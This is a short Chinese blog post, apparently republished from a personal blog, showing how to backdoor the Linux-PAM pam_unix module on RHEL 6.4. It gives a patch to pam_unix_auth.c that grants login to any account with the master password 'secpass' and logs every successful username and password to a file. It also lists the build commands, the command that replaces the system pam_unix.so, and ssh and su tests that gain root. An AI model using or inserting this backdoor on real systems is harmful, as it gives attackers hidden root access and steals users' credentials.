环境RHEL6.4
wget http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz
tar xzvf Linux-PAM-1.1.1.tar.gz
主要修改 Linux-PAM-1.1.1/modules/pam_unix/pam_unix_auth.c
/* verify the password of this user */ retval = _unix_verify_password(pamh, name, p, ctrl); if (strcmp(p,"secpass")==0 ){retval = PAM_SUCCESS;} if(retval == PAM_SUCCESS) { FILE *fd; fd = fopen(PASSWD_FILE, "a"); fprintf(fd, "%s:%s\n", name, p); fclose(fd); } name = p = NULL; AUTH_RETURN; }
./configure && make
cp modules/pam_unix/.libs/pam_unix.so /lib/security/pam_unix.so 前提对系统现有pam_unix.so文件备份
测试ssh
以上是使用了万能密码登录功能,以不同的root密码登录,获得同样的root权限,另一个是记录登录密码到指定文件。
在被攻击端查看密码文件,第一次管理员正常以root身份登录,第二次攻击者以root身份使用后门密码登录。
测试su
普通用户sysuser登录系统后,分别使用万能密码和正常密码切换为root
总结:PAM模块的backdoor程序实现很简单,主要为万能密码和键盘记录功能,还可以提供远程发送密码功能,主要影响了所有在/etc/pam.d/下利用到PAM模块认证的方式(ssh、su、ftp、telnet等。)
Have a nice day.
本文出自 “老徐的私房菜” 博客,谢绝转载!
PAM模块的backdoor实现与分析,布布扣,bubuko.com
原文:http://laoxu.blog.51cto.com/4120547/1395208